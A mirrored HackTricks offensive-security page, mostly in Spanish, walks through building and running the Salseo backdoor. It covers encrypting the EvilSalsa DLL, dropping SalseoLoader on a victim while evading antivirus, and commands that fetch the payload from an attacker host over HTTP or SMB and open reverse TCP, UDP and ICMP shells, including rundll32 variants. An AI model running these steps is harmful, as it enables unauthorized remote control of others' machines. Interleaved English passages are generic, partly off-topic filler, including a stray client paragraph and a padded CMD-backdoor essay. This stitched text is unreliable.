0x22bb
/
hacktricks
mirror of https://github.com/carlospolop/hacktricks.git
1
2
Fork 0
Code Releases Activity
hacktricks/backdoors/salseo.md

15 KiB
Raw Blame History

Salseo

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Compilando los binarios

Descarga el código fuente de GitHub y compila EvilSalsa y SalseoLoader. Necesitarás tener Visual Studio instalado para compilar el código.

Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a utilizar (si Windows admite x64, compílalos para esa arquitectura).

Puedes seleccionar la arquitectura dentro de Visual Studio en la pestaña "Build" en "Platform Target".

(**Si no encuentras estas opciones, presiona en "Project Tab" y luego en "<Project Name> Properties")

Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):

Preparando la puerta trasera

En primer lugar, necesitarás codificar el EvilSalsa.dll. Para hacerlo, puedes usar el script de Python encrypterassembly.py o puedes compilar el proyecto EncrypterAssembly:

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

Salseo Backdoor

The Salseo backdoor is a type of malware that allows unauthorized access to a Windows system. It is designed to remain hidden and provide a remote attacker with control over the infected machine. The Salseo backdoor can be used to steal sensitive information, execute commands, and perform various malicious activities.

Installation

The Salseo backdoor can be installed on a target system through various methods, including:

  1. Email attachments: The malware can be delivered as an attachment in a phishing email. When the user opens the attachment, the backdoor is installed silently in the background.

  2. Exploiting vulnerabilities: The backdoor can exploit vulnerabilities in software or the operating system to gain unauthorized access to the system. This can be done through techniques such as remote code execution or privilege escalation.

  3. Malicious downloads: The backdoor can be bundled with legitimate-looking software or files that users download from untrusted sources. When the user executes the downloaded file, the backdoor is installed.

Functionality

Once installed, the Salseo backdoor provides the attacker with a range of capabilities, including:

  1. Remote access: The attacker can remotely connect to the infected system and gain full control over it. This allows them to perform actions as if they were physically present on the machine.

  2. Data exfiltration: The backdoor can be used to steal sensitive information from the infected system, such as login credentials, financial data, or personal files. This information can then be used for malicious purposes or sold on the dark web.

  3. Command execution: The attacker can execute commands on the infected system, allowing them to perform various actions, such as downloading and executing additional malware, modifying system settings, or launching attacks on other systems.

  4. Persistence: The Salseo backdoor is designed to maintain persistence on the infected system, ensuring that it remains active even after a system reboot. This allows the attacker to maintain access to the compromised machine for an extended period.

Detection and Prevention

Detecting and preventing the Salseo backdoor can be challenging due to its stealthy nature. However, there are some measures that can be taken to mitigate the risk:

  1. Antivirus software: Keeping antivirus software up to date can help detect and remove known instances of the Salseo backdoor. Regular scans should be performed to identify any potential infections.

  2. Software updates: Keeping software and operating systems up to date with the latest security patches can help prevent the exploitation of vulnerabilities that the backdoor may use for installation.

  3. User awareness: Educating users about the risks of opening suspicious email attachments or downloading files from untrusted sources can help prevent the initial installation of the backdoor.

  4. Network monitoring: Monitoring network traffic for suspicious activity can help identify communication between the infected system and the attacker's command and control server.

By implementing these measures, the risk of falling victim to the Salseo backdoor can be significantly reduced.

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el EvilDalsa.dll codificado y el binario de SalseoLoader.

Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...

Ejecutar la puerta trasera

Obtener una shell inversa TCP (descargando el dll codificado a través de HTTP)

Recuerda iniciar un nc como el oyente de la shell inversa y un servidor HTTP para servir el evilsalsa codificado.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)

Recuerda iniciar un nc como el oyente de la shell inversa, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Obteniendo una shell inversa ICMP (dll codificada ya presente en la víctima)

Esta vez necesitarás una herramienta especial en el cliente para recibir la shell inversa. Descarga: https://github.com/inquisb/icmpsh

Desactivar respuestas ICMP:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

Ejecutar el cliente:

To execute the client, you need to follow these steps:

  1. Open a terminal window.
  2. Navigate to the directory where the client is located.
  3. Run the client executable by typing the command ./client.

This will start the client and establish a connection with the server. Make sure to provide the necessary parameters, such as the server IP address and port number, if required.

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

Dentro de la víctima, vamos a ejecutar el salseo:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

Compilando SalseoLoader como DLL exportando la función principal

Abre el proyecto SalseoLoader usando Visual Studio.

Agrega antes de la función principal: [DllExport]

Instala DllExport para este proyecto

Herramientas --> Gestor de paquetes NuGet --> Administrar paquetes NuGet para la solución...

Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)

En la carpeta de tu proyecto han aparecido los archivos: DllExport.bat y DllExport_Configure.bat

Desinstala DllExport

Presiona Desinstalar (sí, es extraño pero confía en mí, es necesario)

Cierra Visual Studio y ejecuta DllExport_configure

Simplemente cierra Visual Studio

Luego, ve a tu carpeta SalseoLoader y ejecuta DllExport_Configure.bat

Selecciona x64 (si lo vas a usar en una máquina x64, ese fue mi caso), selecciona System.Runtime.InteropServices (dentro de Namespace para DllExport) y presiona Aplicar

Abre el proyecto nuevamente con Visual Studio

[DllExport] ya no debería estar marcado como error

Compila la solución

Selecciona Tipo de salida = Biblioteca de clases (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)

Selecciona la plataforma x64 (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64)

Para compilar la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)

Prueba la DLL generada

Copia y pega la DLL donde quieras probarla.

Ejecuta:

rundll32.exe SalseoLoader.dll,main

Si no aparece ningún error, ¡probablemente tienes una DLL funcional!

Obtén una shell usando la DLL

No olvides usar un servidor HTTP y configurar un escucha nc

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a text-based interface for executing commands and managing the system. CMD can be used to perform various tasks, such as navigating through directories, running programs, and managing files and processes.

CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, including reconnaissance, privilege escalation, and data exfiltration.

To exploit CMD, hackers often use backdoors to gain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system is patched or the user's password is changed.

There are several ways to create a backdoor in CMD. One common method is to use the "netsh" command to create a persistent backdoor. The "netsh" command is a powerful tool that allows users to configure network settings. By using the "netsh" command, hackers can create a backdoor that listens for incoming connections and provides them with remote access to the compromised system.

Another method to create a backdoor in CMD is by using the "reg" command to modify the Windows Registry. The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. By modifying the Registry, hackers can create a backdoor that is executed every time the system starts up, providing them with persistent access to the compromised system.

Once a backdoor is installed in CMD, hackers can use it to execute commands and scripts remotely. They can also use it to upload and download files, manipulate system settings, and perform other malicious activities.

To protect against CMD backdoors, it is important to regularly update and patch the operating system. It is also recommended to use strong passwords and enable multi-factor authentication to prevent unauthorized access to CMD. Additionally, monitoring network traffic and using intrusion detection systems can help detect and mitigate CMD backdoor attacks.

CMD is a powerful tool that can be used for both legitimate and malicious purposes. By understanding how hackers exploit CMD and implementing appropriate security measures, individuals and organizations can better protect themselves against CMD backdoor attacks.

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥